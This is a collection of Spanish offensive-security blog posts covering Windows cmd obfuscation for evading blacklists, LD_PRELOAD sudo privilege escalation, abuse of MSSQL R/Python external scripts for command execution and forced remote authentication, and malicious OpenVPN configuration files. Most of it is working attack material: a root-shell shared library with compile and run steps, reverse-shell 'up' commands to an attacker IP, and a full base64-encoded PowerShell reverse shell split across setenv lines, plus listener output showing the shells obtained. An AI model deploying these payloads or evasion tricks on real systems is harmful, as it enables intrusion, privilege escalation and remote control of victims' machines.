Por ejemplo, considerar que la protección instalada en el endpoint comprueba cada proceso iniciado si el hash del binario ya se conoce en la nube. Con este truco, la protección del endpoint puede usar el binario incorrecto para verificar si el hash ya es conocido. Tened en cuenta también que no se requiere un debugger para crear dichos procesos. Una aplicación puede conectar la función NtCreateUserProcess e implementar las modificaciones en el hook.

Trucos del CMD de Windows

Estos trucos no tienen nada que ver con los trucos del sistema de archivos, sin embargo, encajan bien en esta entrada. En el cmd de Windows, es posible escribir ^ en cualquier ubicación del comando y el cmd lo ignorará por completo. Por ejemplo, "calc.exe" es lo mismo que "ca^l^c". Es importante que ^ no sea el último símbolo y que dos ^ símbolos no se utilicen uno después del otro. En lugar de ^ también se puede usar la comilla doble, que no tiene restricciones (puede ser el último carácter o usarse varias veces). Por ejemplo, ^ca^"^"^lc^"levantará la calculadora.

Lo mismo se aplica a las variables de entorno de longitud cero. Se puede acceder a una variable de entorno a través %name%. Si la variable de entorno tiene una longitud cero, "cal%name%c" sería lo mismo que "calc". Como las variables de entorno no tienen una longitud predeterminada de cero, esto no se puede usar directamente. Sin embargo, es posible llamar a subcadena en la variable de entorno con una sintaxis especial (:~start,end). La siguiente imagen muestra la variable de entorno "windir" y cómo la subcadena se puede usar con valores negativos para obtener una variable de longitud cero:


La siguiente imagen muestra una combinación de estas técnicas para ocultar que Powershell se inició en versión 2 (lo que fue útil durante mucho tiempo pero que ya no se debe hacer en la versión más reciente de Windows 10):


Ya habéis visto el uso de ^ y el truco de la variable de entorno (%os:~0,-56%), pero también se puede usar "00000000002.0000" (en lugar de solo 2) como versión y el argumento "?ver" y no "-ver" (tened en cuenta que este no es un símbolo ? normal, es U+2015; usando solo ? no funcionaría).

En Windows "/" también se puede usar en rutas en lugar de "\". Por ejemplo, C:\Windows/\//\system32\calc.exe es lo mismo que C:\Windows\system32\calc.exe. Además, también se puede acceder al binario a través de la ruta UNC para evitar el "C:\" con el patrón "\\127.0.0.1\C$\windows\system32\calc.exe".

También se pueden utilizar distintos trucos para evadir los distintos enfoques de lista negra (por ejemplo, si powershell.exe está prohibido un atacante puede llamar a power^shell.exe para eludir la restricción. O bien, si está prohibido, puede ejecutar:

^”%Localappdata:~-3%^%SystemRoot:~0,1%^”

para iniciar calc.exe y así sucesivamente).

Referencias:

Escalado de privilegios en Linux usando LD_PRELOAD

$
0
0
Las librerías compartidas (shared libraries en inglés) en Linux/Unix normalmente tienen el prefijo lib y la extensión .so. Los programas ld.so y ld-linux.so * encuentran y cargan los objetos compartidos (librerías compartidas) que necesita un programa, preparan el programa para ejecutarlo y luego lo ejecutan.
LD_Preload es la variable de entorno que lista las rutas de la librerías compartidas, al igual que /etc/ld.so.preload. Hoy vamos a ver cómo aprovechar esta característica común para escalar privilegios.

Primero el usuario loggeado debe tener algunos derechos de sudo, por lo tanto, para nuestro laboratorio daremos por ejemplo permisos de sudo al usuario sobre /usr/bin/find.
Por otro lado, muchas veces necesitamos que el programa que ejecutamos con sudo "sepa" donde buscar las librerías compartidas para funcionar. Para preservar las variables de entorno necesarias utilizaremos la variable env_keep. El fichero /etc/sudoers quedará de la siguiente forma:


Ya sabéis que para explotar ese tipo de vulnerabilidad, debemos comprometer la máquina de la víctima primero y luego pasar a la fase de escalada de privilegios. Supongamos que se inicia sesión a través de ssh y ejecutamos el comando sudo -l:


Con sólo eso ya sabemos "por dónde van los tiros". Ahora vamos a generar un pequeño programa en C llamado shell.c dentro del directorio /tmp (en el que normalmente tendremos permisos de escritura):
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

Después lo compilaremos para generar una librería compartida con la extensión .so:
$ cc -fPIC -shared -o shell.so shell.c -D_GNU_SOURCE -nostartfiles

vmotos@victim:/tmp$ ls -al shell.so
-rwxrwxr-x 1 vmotos vmotos 6456 jun 17 23:44 shell.so

Ahora ejecutaremos la "magia" con sudo:
vmotos@victim:/tmp$ sudo LD_PRELOAD=/tmp/shell.so find

# id
uid=0(root) gid=0(root) grupos=0(root)

# whoami
root

¡Y ya somos root!

Ejecución de scripts R y Python en MSSQL

$
0
0
El componente de Machine Learning Services de SQL Server agrega análisis predictivos en la base de datos (in-database), análisis estadísticos, visualización y algoritmos de aprendizaje automático. Las librerías están disponibles en R y Python para SQL Server 2017 y en R para SQL Server 2016 y se ejecutan como script externo en una instancia de motor de base de datos.


Eso sí, para poder ejecutar scripts externos esta característica ha de haber sido activada previamente por el administrador:
EXEC sp_configure  'external scripts enabled', 1
RECONFIGURE WITH OVERRIDE

Luego, lo normal es que se den permisos de ejecución de scripts R o Python a usuarios sin permisos elevados. En ese caso se debe otorgar a los usuarios de Machine Learning Services el permiso para ejecutar scripts externos:
USE [database_name]
GO
GRANT EXECUTE ANY EXTERNAL SCRIPT  TO [UserName]


Eso añade más posibilidades a la hora de ejecutar scripts, a parte del clásico xp_cmdshell (EXEC xp_cmdshell 'C:/.../python.exe C:\...\script.py'; GO), algo que podría ser útil para una post-explotación y/o movimiento lateral. Así que si hemos conseguido acceso a una base de datos lo primero que debemos hacer es comprobar si se permite o no la ejecución de scripts externos:
EXEC sp_configure  'external scripts enabled'

En caso afirmativo run_value debería ser "1". Y para estar totalmente seguro, podemos ejecutar las siguientes queries:

Para R
EXEC sp_execute_external_script  @language =N'R',
@script=N'
OutputDataSet <- br="" inputdataset="">',
@input_data_1 =N'SELECT 1 AS hello'
WITH RESULT SETS (([hello] int not null));
GO->

Para Python
EXEC sp_execute_external_script  @language =N'Python',
@script=N'
OutputDataSet = InputDataSet;
',
@input_data_1 =N'SELECT 1 AS hello'
WITH RESULT SETS (([hello] int not null));
GO

El script puede tardar un poco en ejecutarse si es la primera vez que se carga el runtime del script externo. El resultado debería ser algo como esto:
Hello
1

A partir de ahí comienza la diversión..
 
Ejemplos de scripts externos en R

Obtener las variables de entorno de R:
EXEC sp_execute_external_script
  @language=N'R',
  @script=N'OutputDataSet <- br="" c="" data.frame="" nvvals="Sys.getenv()))">  WITH RESULT SETS (([EnvVals] TEXT));
GO->

Forzar la autenticación remota mediante inclusión de librerías:
EXEC sp_execute_external_script
  @language=N'R',
  @script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
  WITH RESULT SETS (([FileLines] TEXT));
GO

Ejecución local de comandos a través de la función shell() de R:
EXEC sp_execute_external_script
  @language=N'R',
  @script=N'OutputDataSet <- br="" data.frame="" dir="" intern="T))" shell="">  WITH RESULT SETS (([cmd_out] text));
GO->

Ejecución local de comandos a través de la función system() de R:
EXEC sp_execute_external_script
  @language=N'R',
  @script=N'OutputDataSet <- br="" c="" cmd.exe="" data.frame="" dir="" intern="T))" system="">  WITH RESULT SETS (([cmd_out] text));
GO->

Forzar la autenticación remota mediante ejecución vía UNC:
EXEC sp_execute_external_script
  @language=N'R',
  @script=N'OutputDataSet <- bin.exe="" br="" c="" cmd.exe="" data.frame="" intern="T))" no="" system="" testhost="">  WITH RESULT SETS (([cmd_out] text));
GO->

Ejemplos de scripts externos en Python

Script que genera una lista de números aleatorios a partir de un número inicial, uno final y la longitud:
DECLARE @Start_Value INT = 0

EXEC sp_execute_external_script
@language = N'Python',
@script = N'
import numpy as np
import pandas as pd
Start = 10                                            ##Change the value to 10 from the initialized value of 0
random_array = np.array(np.random.randint(Start,End+1,Size))
pandas_dataframe = pd.DataFrame({"Random Numbers": random_array})
',
@output_data_1_name = N'pandas_dataframe',
@params = N'@Start INT, @End INT, @Size INT',
@Start = @Start_Value, @End = 100, @Size = 20
WITH RESULT SETS (("Random Numbers" INT not null))

Script que realiza diversas operaciones en una lista:
EXEC sp_execute_external_script 
@language = N'Python',
@script = N'
mylist = [124, 9238, 23, 1244, 2, 98, 13, 103, 774, 845]
list_mean = sum(mylist) / float(len(mylist))
list_min = min(mylist)
list_max = max(mylist)
print(" The mean value is: {0} \n The minimum value is: {1} \n The maximum value is: {2}".format(list_mean,list_min,list_max))
OutputDataSet = pandas.DataFrame({"Mean": [list_mean], "Min": [list_min], "Max": [list_max]}, columns = ["Mean","Min","Max"])
'
WITH RESULT SETS (("Mean" float not null, "Min" float not null, "Max" float not null))
/*^^Without this statement, the dataframe columns wouldn't have names.*/

Script que ejecuta una shell reversa contra la máquina del atacante:


Referencias:

- Install SQL Server 2017 Machine Learning Services (In-Database) on Windows
- Install SQL Server 2016 R Services (In-Database)
- Pastebin - MS-SQL with R
- SQL Server Python tutorials
- Run Python using T-SQL
- How to use Python in SQL Server 2017 to obtain advanced data analytics
- Using Python inside SQL Server
- PySQL_Examples Github

Shells reversas mediante ficheros de configuración (.ovpn) de OpenVPN maliciosos

$
0
0
Recientemente leía en Medium un artículo que nos recuerda la peligrosidad de ejecutar openvpn con ficheros de configuración (.ovpn) de terceros. Concretamente, por la opción "up" que nos permite ejecutar un script (o programa ejecutable) opcionalmente seguido de argumentos, después de levantar el dispositivo TUN/TAP.

Eso significa que si la víctima está usando una versión de Bash que admita /dev/tcp, obtener un shell reversa es trivial. Por ejemplo, el siguiente archivo ovpn creará una shell reversa contra a 192.168.1.218:8181:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&’”

Evidentemente cuando se utilice este archivo ovpn, no será demasiado obvio para el usuario que algo anda mal: la conexión VPN se establece normalmente y hay tráfico, aunque hay algunas indicaciones que podrían hacer sospechar a un usuario experimentado (subrayadas):
Thu Jun 7 12:28:23 2018 disabling NCP mode ( — ncp-disable) because not in P2MP client or server mode
Thu Jun 7 12:28:23 2018 OpenVPN 2.5_git [git:HEAD/1f458322cdaffed0+*] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jun 7 2018
Thu Jun 7 12:28:23 2018 library versions: OpenSSL 1.0.2g 1 Mar 2016, LZO 2.08
Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scripts
Thu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled — All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!
Thu Jun 7 12:28:23 2018 TUN/TAP device tun0 opened
Thu Jun 7 12:28:23 2018 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
Thu Jun 7 12:28:23 2018 /sbin/ifconfig tun0 10.200.0.2 pointopoint 10.200.0.1 mtu 1500
Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1& tun0 1500 1500 10.200.0.2 10.200.0.1 init
Thu Jun 7 12:28:23 2018 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:23 2018 UDP link local (bound): [AF_INET][undef]:1194
Thu Jun 7 12:28:23 2018 UDP link remote: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:33 2018 Peer Connection Initiated with [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:34 2018 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent this
Thu Jun 7 12:28:34 2018 Initialization Sequence Completed
Even if the the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.247] port 8181 [tcp/*] accepted (family 2, sport 54836)
root@client:/home/client/openvpn# id
id
uid=0(root) gid=0(root) groups=0(root)
root@client:/home/client/openvpn#

Bash facilita este ataque en distribuciones de Linux como Ubuntu. Sin embargo, Windows no tiene una función /dev/tcp análoga. Tendremos que trabajar un poco más para generar una shell reversa desde un equipo con Windows.

Afortunadamente, Dave Kennedy de TrustedSec escribió una pequeña shell reversa en powershell que podemos usar. Utilizando el parámetro -EncodedCommand de powershell.exe podemos pasar todo el script en la línea de comandos. Aunque primero necesitaremos encodearlo en base64 para evitar tener que insertar escapes. Con el script ps_encoder.py de Carlos Pérez podemos hacerlo rápidamente.

Pero también hay otro problema: el script de la shell reversa codificado tiene más de 4000 caracteres de longitud y OpenVPN tiene una limitación de 256 caracteres. Para evitar esto, podemos usar el comando setenv para dividir el script y luego recombinarlo en el comando up. Echa un vistazo al siguiente archivo .ovpn:
ifconfig 10.200.0.2 10.200.0.1
dev tun
remote 192.168.1.245
script-security 2
setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
setenv a1 ‘ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHUAcAAgAHsADQAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQANAAoAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEM’
setenv b1 ‘AbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAH0ADQAKAGUAeABpAHQAfQANAAoAJABhAGQAZAByAGUAcwBzACAAPQAgACcAMQA5ADIALgAxADYAOAAuADEALgAyADEAOAAnAA0ACgAkAHAAbwByAHQAIAA9ACAAJwA4ADEAOAAxACcADQAKACQAYwBsAG’
setenv c1 ‘kAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgBzAG8AYwBrAGUAdABzAC4AdABjAHAAYwBsAGkAZQBuAHQADQAKACQAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgAJABhAGQAZAByAGUAcwBzACwAJABwAG8AcgB0ACkADQAKACQAcwB0AHIAZQBhAG0AIAA9A’
setenv d1 ‘CAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQANAAoAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAAJABjAGwAaQBlAG4AdAAuAFIAZQBjAGUAaQB2AGUAQgB1AGYAZgBlAHIAUwBpAHoAZQAN’
setenv e1 ‘AAoAJABwAHIAbwBjAGUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMADQAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAQwA6AFwAXAB3AGkAbgB’
setenv f1 ‘kAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAJwANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbw’
setenv g1 ‘AuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIAA9ACAAMQANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAwAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAA0ACgAkAGkAb’
setenv h1 ‘gBwAHUAdABzAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AA0ACgAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtACAAPQAgACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAA’
setenv i1 ‘MQANAAoAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGkAaQBFAG4AYwBvAGQAaQBuAGcADQAKAHcAaABpAGwAZQAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAewAkAG8’
setenv j1 ‘AdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsAD’
setenv k1 ‘AALAAkAG8AdQB0AC4ATABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwAOwAgACQAZABvAG4AZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJAB0AGUAcwB0AGkAbgBnACAAPQAgADAAOwANAAoAdwBoAGkAbABlACAAKAAtAG4AbwB0ACAAJABkAG8AbgBlACkAIAB7AA0ACgBpAGYAIAAoACQAYwBsA’
setenv l1 ‘GkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAJABwAG8AcwAgAD0AIAAwADsAIAAkAGkAIAA9ACAAMQANAAoAdwBoAGkAbABlACAAKAAoACQAaQAgAC0AZwB0ACAAMAApACAALQBhAG4AZAAgACgAJABwAG8AcwAgAC0AbAB0ACAAJABu’
setenv m1 ‘AGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewANAAoAJAByAGUAYQBkACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACwAJABwAG8AcwAsACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACAALQA’
setenv n1 ‘gACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AZQB0AHcAbwByAGsAYgB1AGYAZgBlAHIAWwAwAC4ALgAkACgAJABwAG8AcwAtADEAKQBdACAALQBjAG8AbgB0AGEAaQBuAHMAIAAxADAAKQApACAAewBiAHIAZQBhAGsAfQB9AA0ACg’
setenv o1 ‘BpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAsADAALAAkAHAAbwBzACkADQAKACQAaQBuAHAAdQB0AHMAdAByAGUAYQBtAC4AdwByAGkAd’
setenv p1 ‘ABlACgAJABzAHQAcgBpAG4AZwApAA0ACgBzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgBpAGYAIAAoACQAcAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAZQBsAHMAZQAgAHsADQAKACQAbwB1AHQAIAA9ACAAJABlAG4A’
setenv q1 ‘YwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAA0ACgB3AGgAaQBsAGUAKAAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtAC4AUABlAGUAawAoACkAIAAtAG4AZQAgAC0AMQApAHsADQAKACQAbwB1AHQAIAArAD0AIAAkAGUAbgBjAG8’
setenv r1 ‘AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAApACkAOwAgAGkAZgAgACgAJABvAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAkAG8AdQB0ACAAPQAgACcAJwB9AH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAG’
setenv s1 ‘UAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4AbABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABuAHUAbABsAH0AfQAgAGUAbABzAGUAIAB7AGMAbABlAGEAbgB1AHAAfQB9AA==’
up ‘C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||’

Como veis el script codificado se ha dividido en varios comandos setenv. Al final, el script simplemente ejecuta todas las variables juntas.

Al igual que en el ejemplo de Linux, el log mostrará un aviso sobre -script-security cuando se inicie por primera vez la GUI de OpenVPN:


Una vez más, incluso si el usuario se llega a dar cuenta, podría ser demasiado tarde:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.226] port 8181 [tcp/*] accepted (family 2, sport 51082)
Microsoft Windows [Version 10.0.17134.48]
© 2018 Microsoft Corporation. All rights reserved.
C:\Users\albinolobster\OpenVPN\config\albino_lobster>whoami
desktop-r5u6pvd\albinolobster
C:\Users\albinolobster\OpenVPN\config\albino_lobster>

Algunos clientes compatibles con OpenVPN como Viscosity y la GUI de Network Manager de Ubuntu desactivan este comportamiento, pero en conclusión, volvemos a incidir en que usar archivos ovpn no confiables es peligroso. Un usuario podría estar permitiendo que un atacante ejecute comandos arbitrarios en su PC, así que antes de levantar un túnel OVPN con un fichero de configuración que nos han pasado conviene revisarlo...
Viewing all 1668 articles
Browse latest View live